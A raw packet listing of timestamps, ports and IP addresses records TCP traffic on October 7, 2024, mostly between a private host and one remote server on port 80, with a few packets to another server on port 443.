Oct 7, 2024 18:00:45.168251038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168267012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168267965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168282986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168296099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168299913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168317080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168324947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168334007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168345928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168373108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.168510914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168526888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.168567896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169156075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169171095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169205904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169230938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169244051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169259071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169276953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169294119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169301033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169310093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169327021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169353008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169394016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169435024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169465065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169481993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169497013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169507980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169512987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169523001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169529915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169542074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169554949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169574022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169748068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169763088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169784069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169821024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169833899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169836998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169852972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169858932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169871092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169873953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169887066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169895887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169903040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169908047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169919968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169928074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169934988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169944048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169951916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169965982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169967890 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.169977903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.169996023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.170012951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.170698881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170713902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170728922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170742989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170752048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.170758963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170773983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.170774937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170792103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.170802116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.170831919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171083927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171108007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171122074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171138048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171150923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171152115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171169043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171169043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171185970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171199083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171220064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171256065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171271086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171286106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171298981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171302080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171319008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171320915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171335936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171346903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171350956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171367884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171372890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171396017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171420097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171426058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171426058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171436071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171437979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171452045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171458960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171468019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.171477079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171494961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.171511889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.202636003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202651978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202666044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202681065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202696085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202709913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202724934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.202749014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.202784061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.224250078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224273920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224289894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224342108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.224374056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.224529028 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.224535942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224551916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224565983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224581003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224596024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.224601030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.224632025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.224647045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.225219011 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.225229979 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.225691080 CEST	49867	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:45.225697994 CEST	443	49867	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:45.236794949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236819029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236831903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236846924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236879110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236890078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.236903906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236921072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.236927032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.236943960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.236968994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.237047911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.239437103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250173092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250189066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250204086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250267029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250299931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250315905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250330925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250355005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250375986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250466108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250482082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250495911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250519037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250520945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250535011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250545025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250555038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250571966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250574112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250587940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250602961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250608921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.250622988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250641108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.250657082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.252903938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.252918959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.252933025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.252947092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.252969027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.252969980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.252984047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.252994061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253000021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253009081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253014088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253031015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253035069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253051996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253061056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253067017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253082991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253086090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253098965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253108978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253114939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253130913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253134966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253146887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253158092 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253163099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253180981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253185987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253195047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253210068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253211975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253227949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253236055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253245115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253252983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253271103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253287077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253719091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253735065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253748894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253771067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253776073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253788948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253798962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253804922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253822088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253825903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253850937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253870964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253874063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.253947973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253962994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.253983974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254008055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254021883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254034996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254050016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254065037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254072905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254081964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254089117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254105091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254128933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254158974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254173994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254189014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254204035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254213095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254229069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254236937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254245043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254261017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254275084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254290104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254290104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254304886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254306078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254328012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254347086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254529953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254544973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254559040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254568100 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254575014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254584074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254599094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254614115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254756927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254772902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254786968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254801035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254805088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254817963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254828930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254833937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254851103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254858971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254867077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254883051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.254884958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254901886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.254924059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255065918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255122900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255136967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255163908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255183935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255202055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255217075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255230904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255245924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255249977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255263090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255279064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255300045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255501986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255521059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255536079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255558968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255561113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255573034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255578041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255593061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255599022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255609035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255614042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255629063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255633116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255642891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255650043 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255665064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255683899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.255686998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255711079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.255736113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.256042004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.256057978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.256095886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.288440943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.288460016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.288474083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.288490057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.288506985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.288587093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.288635015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.288959026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.288975000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.289002895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.289042950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.308815002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.308859110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.308876038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.308937073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.308971882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.309139967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.309154987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.309170008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.309185028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.309195995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.309200048 CEST	80	49831	95.164.90.97	192.168.2.5
